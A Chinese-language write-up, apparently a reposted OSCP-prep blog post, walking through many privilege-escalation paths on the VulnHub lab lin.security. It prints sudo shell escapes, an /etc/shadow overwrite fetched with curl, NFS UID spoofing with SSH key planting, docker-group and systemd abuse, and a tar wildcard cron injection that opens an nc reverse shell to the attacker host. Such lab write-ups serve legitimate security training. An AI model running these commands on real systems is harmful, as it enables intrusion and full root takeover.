【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权

admin 2025年1月28日02:41:33评论15 views字数 9896阅读32分59秒阅读模式

前言

oscp备考,oscp系列——lin.security_v1.0靶场,32提权方法,nfs提权,sudo组合提权,docker组提权,systems 配置不当提权,suid:taskset提权、pkexec提权,计划任务+tar通配符提权,/etc/passwd哈希解码提权

难度简单偏下,不过提权方式有很多

  • 对于低权限shell获取涉及:ssh连接,敏感隐藏文件
  • 对于提权:nfs提权,sudo组合提权,docker组提权,systems 配置不当提权,suid:taskset提权、pkexec提权,计划任务+tar通配符提权,/etc/passwd哈希解码提权

下载地址:

https://www.vulnhub.com/entry/linsecurity-1,244/

下载完成之后需要配置,ens33环境,可以参考这一篇文章lin.security_v1.0靶机_lin.security 搭建-CSDN博客

嫌麻烦的可以现在我已经配置好的靶机,后台发送:lin.security_v1.0 获取下载地址

靶机的作者对靶机有描述【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权

在in.security,我们想开发一个Linux虚拟机,在撰写本文时,该虚拟机基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,允许用户升级到机箱上的root。这是为了帮助理解某些内置应用程序和服务如果配置错误,可能会被攻击者滥用。我们已将该框配置为模拟真实世界的漏洞(尽管在单个主机上),这将帮助您完善本地权限升级技能、技术和工具集。有许多挑战,从相当简单到中等水平,我们很高兴看到您用来解决这些问题的方法!该图像略低于1.7 GB,可以使用上面的链接下载。打开OVA文件时,将导入一个名为lin.security的VM,并使用NAT适配器进行配置,但可以通过首选虚拟化平台的首选项将其更改为桥接。要开始,您可以使用凭据登录主机:bob/secret

告诉我们这个靶机有很多漏洞,提示了一个账号密码,进行提权

nmap

主机发现

└─# nmap -sn 10.10.10.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:36 CSTNmap scan report for 10.10.10.1 (10.10.10.1)Host is up (0.00060s latency).MAC Address: 00:50:56:C0:00:08 (VMware)Nmap scan report for 10.10.10.2 (10.10.10.2)Host is up (0.00020s latency).MAC Address: 00:50:56:F2:C6:98 (VMware)Nmap scan report for 10.10.10.130 (10.10.10.130)Host is up (0.00026s latency).MAC Address: 00:0C:29:97:4D:A5 (VMware)Nmap scan report for 10.10.10.254 (10.10.10.254)Host is up (0.00022s latency).MAC Address: 00:50:56:F7:20:A7 (VMware)Nmap scan report for 10.10.10.128 (10.10.10.128)Host is up.Nmap done: 256 IP addresses (5 hosts up) scanned in 1.91 seconds

端口扫描

└─# nmap --min-rate 10000 -p- 10.10.10.130    Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:37 CSTNmap scan report for 10.10.10.130 (10.10.10.130)Host is up (0.00071s latency).Not shown: 65528 closed tcp ports (reset)PORT      STATE SERVICE22/tcp    open  ssh111/tcp   open  rpcbind2049/tcp  open  nfs34283/tcp open  unknown37763/tcp open  unknown38521/tcp open  unknown58085/tcp open  unknownMAC Address: 00:0C:29:97:4D:A5 (VMware)Nmap done: 1 IP address (1 host up) scanned in 44.00 seconds└─# nmap --min-rate 10000 -p- 10.10.10.130 -sUStarting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:38 CSTWarning: 10.10.10.130 giving up on port because retransmission cap hit (10).Nmap scan report for 10.10.10.130 (10.10.10.130)Host is up (0.0012s latency).Not shown: 65451 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)PORT      STATE SERVICE111/udp   open  rpcbind2049/udp  open  nfs39992/udp open  unknown47918/udp open  unknown54762/udp open  unknown57397/udp open  unknownMAC Address: 00:0C:29:97:4D:A5 (VMware)Nmap done: 1 IP address (1 host up) scanned in 72.99 seconds

详细端口扫描

└─# nmap -sV -sT -sC -O -p22,111,2049,34283,37763,38521,58085 10.10.10.130Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:42 CSTNmap scan report for 10.10.10.130 (10.10.10.130)Host is up (0.0012s latency).PORT      STATE SERVICE  VERSION22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   2048 7a:9b:b9:32:6f:95:77:10:c0:a0:80:35:34:b1:c0:00 (RSA)|   256 24:0c:7a:82:78:18:2d:66:46:3b:1a:36:22:06:e1:a1 (ECDSA)|_  256 b9:15:59:78:85:78:9e:a5:e6:16:f6:cf:96:2d:1d:36 (ED25519)111/tcp   open  rpcbind  2-4 (RPC #100000)| rpcinfo: |   program version    port/proto  service|   100000  2,3,4        111/tcp   rpcbind|   100000  2,3,4        111/udp   rpcbind|   100000  3,4          111/tcp6  rpcbind|   100000  3,4          111/udp6  rpcbind|   100003  3           2049/udp   nfs|   100003  3           2049/udp6  nfs|   100003  3,4         2049/tcp   nfs|   100003  3,4         2049/tcp6  nfs|   100005  1,2,3      34283/tcp   mountd|   100005  1,2,3      46589/udp6  mountd|   100005  1,2,3      53143/tcp6  mountd|   100005  1,2,3      57397/udp   mountd|   100021  1,3,4      37763/tcp   nlockmgr|   100021  1,3,4      41305/tcp6  nlockmgr|   100021  1,3,4      47918/udp   nlockmgr|   100021  1,3,4      59835/udp6  nlockmgr|   100227  3           2049/tcp   nfs_acl|   100227  3           2049/tcp6  nfs_acl|   100227  3           2049/udp   nfs_acl|_  100227  3           2049/udp6  nfs_acl2049/tcp  open  nfs      3-4 (RPC #100003)34283/tcp open  mountd   1-3 (RPC #100005)37763/tcp open  nlockmgr 1-4 (RPC #100021)38521/tcp open  mountd   1-3 (RPC #100005)58085/tcp open  mountd   1-3 (RPC #100005)MAC Address: 00:0C:29:97:4D:A5 (VMware)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning: Linux 3.X|4.XOS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4OS details: Linux 3.2 - 4.9Network Distance: 1 hopService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 7.99 seconds

vuln扫描

└─# nmap --script=vuln -p22,111,2049,34283,37763,38521,58085 10.10.10.130Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:43 CSTNmap scan report for 10.10.10.130 (10.10.10.130)Host is up (0.00047s latency).PORT      STATE SERVICE22/tcp    open  ssh111/tcp   open  rpcbind2049/tcp  open  nfs34283/tcp open  unknown37763/tcp open  unknown38521/tcp open  unknown58085/tcp open  unknownMAC Address: 00:0C:29:97:4D:A5 (VMware)Nmap done: 1 IP address (1 host up) scanned in 10.42 seconds

提权

使用账号密码进行ssh连接

bob/secret

sudo提权,25种

【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权发现可以使用很多命令

/bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed, /usr/bin/env,        /usr/bin/expect, /usr/bin/find, /usr/bin/ftp, /usr/bin/less, /usr/bin/man, /bin/more, /usr/bin/scp, /usr/bin/socat,        /usr/bin/ssh, /usr/bin/vi, /usr/bin/zsh, /usr/bin/pico, /usr/bin/rvim, /usr/bin/perl, /usr/bin/tclsh, /usr/bin/git,        /usr/bin/script, /usr/bin/scp

直接ash | dash | sh | bash | csh | zsh提权

这里以dash举例

sudo /bin/dash
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

awk提权

sudo awk 'BEGIN {system("/bin/sh")}'
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

curl提权

先在kali做一些准备,生成明文密码的hash -m指定加密方法,一般linux用户shadow文件中存储的是sha-512加密算法的hash 参照kali中shadow文件root用户的hash值替换保存起来备用

mkpasswd -m sha-512 123456cat /etc/shadow | grep rootvim shadow_rootroot:$6$UKOY2VpXTU3I9ylS$WxSICICPMBCkxCVZGq/uKCt7SYJUulcIriyKDhKzZgNCtSy9VXaEMKvcGK5A3hrHhTOfevNny1MUXRtTmgozK/:20103:0:99999:7:::
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

在kali上面制作一个简易的web服务器,使用curl命令下载并覆盖原有的shadow文件,直接使用su命令,输入123456切换成功

sudo curl http://10.10.10.128/shadow_root -o /etc/shadow
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

ed提权

sudo ed!/bin/sh
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

env提权

sudo env /bin/sh
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

expect提权

sudo expect -c 'spawn /bin/sh;interact'
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

find提权

sudo find . -exec /bin/sh ; -quit
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

ftp提权

sudo ftp!/bin/sh
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

less提权

sudo less /etc/profile!/bin/sh
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

man提权

sudo man man!/bin/sh
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

scp提权

TF=$(mktemp)echo'sh 0<&2 1>&2' > $TFchmod +x "$TF"sudo scp -S $TF x y:
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

socat提权

【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

ssh提权

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

vi提权

sudo vi -c ':!/bin/sh' /dev/null
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

pico提权

sudo pico^R^X  # ^R和^X表示需要选中的选项,其实是ctrl+R ctrl+Xreset; sh 1>&0 2>&0
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

rvim提权

sudo rvim -c ':py3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

perl提权

sudo perl -e 'exec "/bin/sh";'
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

tclsh提权

sudo tclshexec /bin/sh <@stdin >@stdout 2>@stderr
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

git提权

sudo git -p help config!/bin/sh
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

script提权

sudo script -q /dev/null
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

nfs提权

nmap扫描发现存在,nfs

2049/tcp  open  nfs

尝试挂载一下,发现没有权限

mkdir nfs                                           mount -t nfs 10.10.10.130:/home/peter /tmp/nfs/

【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权看来需要创建一个相同的用户才行 先给他取消挂载,发现取消不了,查看一下进程,给他取消掉

fuser -m -v /tmp/nfskill -9 进程号
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

查看一下peter用户信息

【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权在kali上面创建一个用户

groupadd -g 1005 peteradduser peter -uid 1001 -gid 1005

用完之后可以删除用户

sudo userdel -r peter

拥有权限了【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权

ssh公钥写入

进行公钥写入 在root用户下,执行ssh-keygen命令生成秘钥

ssh-keygen -t rsa
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

在nfs目录创建一个.ssh目录,将刚才生成的公钥id_rsa.pub复制到/tmp/nfs/.ssh目录下,并重命名为authorized_keys

cp id_rsa.pub /tmpmkdir .sshcd .sshcp /tmp/id_rsa.pub authorized_keys

【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权连接成功,发现可以使用strace命令,查找一下,发现可以直接进行提权

sudo+strace提权

【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png
sudo strace -o /dev/null /bin/sh
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

利用 docker 组提权

发现peter在docker这个组里面【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权可以根据https://fosterelli.co/privilege-escalation-via-docker.html

docker run -v /:/hostOS -i -t chrisfosterelli/rootpleasedocker run -v /:/mnt --rm -it alpine chroot /mnt bash

systems 配置不当提权

历史上,Linux 的启动一直采用 init 进程:

sudo /etc/init.d/sshd start# 或者service sshd start

这种方法有两个缺点:

一是启动时间长。init 进程是串行启动,只有前一个进程启动完,才会启动下一个进程。

二是启动脚本复杂。init 进程只是执行启动脚本,不管其他事情。脚本需要自己处理各种情况,这往往使得脚本变得很长。

Systemd 就是为了解决这些问题而诞生的。它的设计目标是,为系统的启动和管理提供一套完整的解决方案。 使用了 Systemd,就不需要再用 init 了。Systemd 取代了 initd,成为系统的第一个进程(PID 等于 1),其他进程都是它的子进程。 Systemd 并不是一个命令,而是一组命令,涉及到系统管理的方方面面。 systemctl 是 Systemd 的主命令,用于管理系统。

# 重启系统sudo systemctl reboot

查看 peter 用户的 systemd 配置,发现 peter 这个用户拥有 debug.service 文件,并且它对这个文件拥有读和写的权限。

whereis systemdls -al /lib/systemd/system/debug.service

【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权如果服务器存在缺陷,可以被覆盖或者修改文件,可以通过修改低权限用户有权访问的 .service 文件并更改 run() 命令来将其转换为代码执行。重新启动服务时,将运行攻击者的命令。

查看 .service 文件,这里我们可以修改 ExecStart 文件,除此之外还可以修改 ExecStop 和 ExecReload 来在停止和重启服务时执行命令。 查看该 .service 文件:

cat /lib/systemd/system/debug.service

【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权ExecStart 为 /root/debug,这是一个二进制服务并且该服务以 root 身份运行。 接下来为了利用,使用一个类似 ssh 可以 sudo 执行的方法。 让 root 身份来创建一个 systemdexpl.sh 脚本,将 /bin/bash 文件复制到 systemdbash 并设置一个 SUID 位并且赋予执行权限。

echo -e '#!/bin/bash ncp /bin/bash /home/peter/systemdbash nchmod 6755 /home/peter/systemdbash' > /home/peter/systemdexpl.sh && chmod +x systemdexpl.sh

修改 debug.service 文件来调用我们的脚本(root 调用 debug.service,而 debug.service 又调用我们的 systemdexpl.sh 脚本)修改 ExecStart 为当前脚本。

vim /lib/systemd/system/debug.service
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

suid,pkexec提权

使用命令查找

find / -perm -u=s -type f 2>/dev/null

发现pkexec【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权尝试提权,项目地址

https://github.com/arthepsy/CVE-2021-4034
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

suid,taskset提权

【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权发现存在提权【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权

taskset 1 /bin/sh
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

计划任务+tar通配符提权

发现一个定时任务【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权发现是tar命令和通配符*,尝试通配符tar提权 进入bob用户目录,创建

echo"" > --checkpoint=1echo"mkfifo /tmp/vqfv; nc nc 10.10.10.128 9999 0</tmp/vqfv | /bin/sh >/tmp/vqfv 2>&1; rm /tmp/vqfv" > shell.sh && chmod +x shell.shecho"" > "--checkpoint-action=exec=sh shell.sh"
【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
image.png

反弹成功,获取root权限【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权

/etc/passwd哈希解码提权

linux的用户密码哈希存储在/etc/shadow文件,普通用户能够查看到的则是/etc/passwd这个文件 在/etc/passwd中

比如:root:x:0:0:root:/root:/bin/bash。账户的第二列是密码哈希,如果该列为x则代表密码哈希存储在/etc/shadow文件上

/etc/passwd/

普通用户权限能够查看保存用户信息,每一行代表一个用户,每一行通过冒号:分为七个部分1.用户名2.密码,x表示密码保存在/etc/shadow3.UID,0代表root4.GID,表示所在组5.描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other6.用户主目录7.默认shell类型

/etc/shadow/

只有root用户权限能够查看保存加密后的密码和用户的相关密码信息,每一行代表一个用户,每一行通过冒号:分为九个部分1.用户名2.加密后的密码3.上次修改密码的时间(从1970.1.1开始的总天数)4.两次修改密码间隔的最少天数,如果为0,则没有限制5.两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制6.提前多少天警告用户密码将过期7.在密码过期之后多少天禁用此用户8.用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用9.保留#由示例可知,加密的密码具有固定格式:$id$salt$encryptedid表示加密算法,1代表MD5,5代表SHA-256,6代表SHA-512salt为盐值,系统随机生成encrypted表示密码的hash值

查看一下etc/passwd发现存在明文密码,尝试解密【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权

insecurity:AzER3pBZh6WZE:0:0::/:/bin/sh

【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权得到

insecurity/P@ssw0rd!

切换一下用户,得到root权限【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权

敏感隐藏文件

进行信息收集,发现susan用户目录,有一个不同的隐藏文件,打开发现一串字符【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权也可以使用

find / -name ".*" -type f -path "/home/*" -exec ls -al {} ; 2>/dev/null

进行查找 尝试用户切换,切换成功,不过这个用户的权限更低【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权

 

原文始发于微信公众号(泷羽Sec-尘宇安全):【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月28日02:41:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权https://cn-sec.com/archives/3679974.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息